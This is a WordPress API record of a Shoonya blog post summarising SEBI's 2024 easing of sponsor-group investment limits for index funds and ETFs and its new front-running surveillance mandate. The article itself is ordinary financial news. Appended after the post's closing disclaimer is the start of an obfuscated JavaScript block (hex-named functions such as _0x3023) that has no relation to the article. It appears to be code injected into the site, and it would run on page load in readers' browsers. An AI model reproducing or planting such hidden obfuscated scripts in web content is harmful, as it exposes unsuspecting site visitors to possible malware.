{"id":7536,"date":"2024-05-02T06:52:12","date_gmt":"2024-05-02T06:52:12","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=7536"},"modified":"2026-05-26T04:29:10","modified_gmt":"2026-05-26T10:59:10","slug":"new-sebi-rules-for-passive-funds","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/new-sebi-rules-for-passive-funds\/","title":{"rendered":"New SEBI Rules for Passive Funds| Eases Restrictions for Index Funds and ETFs"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/new-sebi-rules-for-passive-funds\/#SEBI_Rules_for_Index_Funds_and_ETFs_Key_Highlights\" >SEBI Rules for Index Funds and ETFs| Key Highlights<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/new-sebi-rules-for-passive-funds\/#Harmonizing_Passive_Fund_Investments\" >Harmonizing Passive Fund Investments<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/new-sebi-rules-for-passive-funds\/#Enhanced_Surveillance_Against_Market_Abuse\" >Enhanced Surveillance Against Market Abuse<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/new-sebi-rules-for-passive-funds\/#Recent_Cases_of_Market_Abuse_in_Indian_Stock_Market\" >Recent Cases of Market Abuse in Indian Stock Market<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/new-sebi-rules-for-passive-funds\/#Conclusion\" >Conclusion<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/latest-news\/\">News<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>New SEBI Rules for Passive Funds| Eases Restrictions for Index Funds and ETFs<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">SEBI (Securities and Exchange Board of India) has made significant changes affecting index funds and Exchange Traded Funds. The new rules allow these passive funds to invest more in group companies of their sponsors. This move, announced on April 30, aims to align passive funds more closely with their benchmark indices. Additionally, SEBI is tightening regulations to catch market abuses like front-running, signalling a proactive approach towards investor protection. How do all these changes affect you?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let&#8217;s take a look!<\/p>\n\n\n\n\n\n<h2 class=\"wp-block-heading\" id=\"0-sebi-rules-for-index-funds-and-etfs-key-highlights-\"><span class=\"ez-toc-section\" id=\"SEBI_Rules_for_Index_Funds_and_ETFs_Key_Highlights\"><\/span><strong>SEBI Rules for Index Funds and ETFs| Key Highlights<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li>SEBI relaxes investment restrictions for index and ETFs in group companies of sponsors.<\/li>\n\n\n\n<li>Passive funds now allowed to invest up to 35% of their corpuses in sponsor group companies.<\/li>\n\n\n\n<li>SEBI mandates mutual fund houses to establish frameworks for detecting front-running.<\/li>\n\n\n\n<li>Mutual fund schemes can&#8217;t invest more than 10% of NAV in any single company&#8217;s shares.<\/li>\n\n\n\n<li>Total exposure to sponsor group companies limited to 25% of net assets for mutual fund schemes.<\/li>\n\n\n\n<li>SEBI eases the 25% upper cap restriction for index funds and ETFs to enhance benchmark replication.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"1-harmonizing-passive-fund-investments-\"><span class=\"ez-toc-section\" id=\"Harmonizing_Passive_Fund_Investments\"><\/span><strong>Harmonizing Passive Fund Investments<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">SEBI previously imposed restrictions on mutual fund schemes, limiting their investments.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>What were the Old Rules For Passive Funds?<\/strong><br>Previously, index funds and ETFs were restricted in how much they could invest in companies related to their sponsors.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For instance, schemes could not invest more than 10 percent of their Net Asset value in shares of any single scrip.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The total exposure to listed equity shares of group companies of the sponsor was capped at 25 percent of net assets.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>They could only put up to 25 percent of their money into such group companies.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>What are the New SEBI Rules For Index funds and ETFs?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">SEBI has relaxed these rules for index funds and ETFs.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">SEBI lifted this restriction, now allowing these funds to invest up to 35 percent of their money in group companies of their sponsors.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>A single company can now have a maximum weight of 35 percent in a sector\/thematic benchmark index.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>What It Means for Investors?<\/strong><strong><br><\/strong>For folks investing in index funds and ETFs, this means more flexibility and potentially better alignment with the benchmark indices they track.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It could lead to improved performance and reduced tracking errors.<br>This tweak aims to make it easier for these funds to mirror their benchmark indices more accurately.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em><strong><em><a href=\"https:\/\/shoonya.com\/blog\/passive-investing\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Check out the advantages of passive investing.<\/mark><\/a><\/em><\/strong><\/em><\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"2-enhanced-surveillance-against-market-abuse-\"><span class=\"ez-toc-section\" id=\"Enhanced_Surveillance_Against_Market_Abuse\"><\/span><strong>Enhanced Surveillance Against Market Abuse<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">In addition to easing investment restrictions, SEBI has mandated mutual fund houses to establish systems to detect market abuse practices.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">These practices include front-running and fraudulent transactions.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Front running is when someone buys or sells stocks based on knowing what others are going to do, like their clients&#8217; orders. They do this to make a profit before the others&#8217; trades affect the stock price. It&#8217;s unfair and against the rules because it gives them an advantage over regular investors.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">SEBI requires mutual fund houses to follow the following:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Enhanced surveillance systems.<\/li>\n\n\n\n<li>Internal control procedures.<\/li>\n\n\n\n<li>Escalation processes to identify, monitor, and address specific types of misconduct.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">SEBI emphasised the importance of implementing a robust whistle-blower policy.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This policy ensures the protection of individuals reporting instances of market abuse from victimisation.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"3-recent-cases-of-market-abuse-in-indian-stock-market-\"><span class=\"ez-toc-section\" id=\"Recent_Cases_of_Market_Abuse_in_Indian_Stock_Market\"><\/span><strong>Recent Cases of Market Abuse in Indian Stock Market<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">SEBI\u2019s actions come in response to recent instances of market abuse within the mutual fund industry. Some fund houses have detected cases of front-running, where individuals trade securities based on advanced knowledge of pending transactions that will affect the security&#8217;s price.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">By requiring fund houses to establish surveillance systems, SEBI aims to proactively address such misconduct. Additionally, it aims to strengthen investor protection in the mutual fund industry.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"4-conclusion-\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span><strong>Conclusion<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">SEBI\u2019s decision to relax investment restrictions for index funds and ETFs reflects an effort to align regulations with market dynamics. The main objective is to enhance investor protection.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">By enabling passive funds to mimic their benchmark indices better and instituting measures to detect and prevent market abuse, SEBI seeks to promote transparency.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source-<\/strong> <a href=\"https:\/\/www.moneycontrol.com\/news\/business\/personal-finance\/now-index-funds-and-etfs-will-be-truer-to-label-12711842.html\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">moneycontrol.com<\/mark><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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The new rules allow these passive funds to invest more in group companies of their sponsors. This move, announced on April 30, aims to align passive funds more closely with their benchmark indices. Additionally, SEBI is tightening &hellip; <a href=\"https:\/\/shoonya.com\/blog\/new-sebi-rules-for-passive-funds\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;New SEBI Rules for Passive Funds| Eases Restrictions for Index Funds and ETFs&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":7545,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[2241,1082],"tags":[2307,390,259,205,3811,3812],"class_list":["post-7536","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-general","category-latest-news","tag-exchange-traded-funds-2","tag-index-funds","tag-mutual-fund-schemes","tag-net-asset-value","tag-passive-funds","tag-sebi-rules-for-index-funds-and-etfs"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>What are the New SEBI Rules for Index Funds and ETFs?<\/title>\n<meta name=\"description\" content=\"SEBI&#039;s new rules allow passive funds to invest 35% in sponsor group companies. It also requires fund houses to spot front-running, ensuring fair markets.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/new-sebi-rules-for-passive-funds\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"What are the New SEBI Rules for Index Funds and ETFs?\" \/>\n<meta property=\"og:description\" content=\"SEBI&#039;s new rules allow passive funds to invest 35% in sponsor group companies. It also requires fund houses to spot front-running, ensuring fair markets.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/shoonya.com\/blog\/new-sebi-rules-for-passive-funds\/\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/ShoonyaApp\/\" \/>\n<meta property=\"article:published_time\" content=\"2024-05-02T06:52:12+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-05-26T10:59:10+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/05\/What-are-the-New-SEBI-Rules-for-Index-Funds-and-ETFs.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1080\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:title\" content=\"What are the New SEBI Rules for Index Funds and ETFs?\" \/>\n<meta name=\"twitter:description\" content=\"SEBI&#039;s new rules allow passive funds to invest 35% in sponsor group companies. It also requires fund houses to spot front-running, ensuring fair markets.\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/05\/What-are-the-New-SEBI-Rules-for-Index-Funds-and-ETFs.jpg\" \/>\n<meta name=\"twitter:creator\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:site\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/new-sebi-rules-for-passive-funds\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/new-sebi-rules-for-passive-funds\\\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"headline\":\"New SEBI Rules for Passive Funds| Eases Restrictions for Index Funds and ETFs\",\"datePublished\":\"2024-05-02T06:52:12+00:00\",\"dateModified\":\"2026-05-26T10:59:10+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/new-sebi-rules-for-passive-funds\\\/\"},\"wordCount\":696,\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/new-sebi-rules-for-passive-funds\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/05\\\/What-are-the-New-SEBI-Rules-for-Index-Funds-and-ETFs.jpg\",\"keywords\":[\"exchange traded funds\",\"Index Funds\",\"Mutual Fund schemes\",\"Net Asset Value\",\"passive funds\",\"SEBI rules for index funds and ETFs\"],\"articleSection\":[\"General\",\"News\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/new-sebi-rules-for-passive-funds\\\/\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/new-sebi-rules-for-passive-funds\\\/\",\"name\":\"What are the New SEBI Rules for Index Funds and ETFs?\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/new-sebi-rules-for-passive-funds\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/new-sebi-rules-for-passive-funds\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/05\\\/What-are-the-New-SEBI-Rules-for-Index-Funds-and-ETFs.jpg\",\"datePublished\":\"2024-05-02T06:52:12+00:00\",\"dateModified\":\"2026-05-26T10:59:10+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"description\":\"SEBI's new rules allow passive funds to invest 35% in sponsor group companies. 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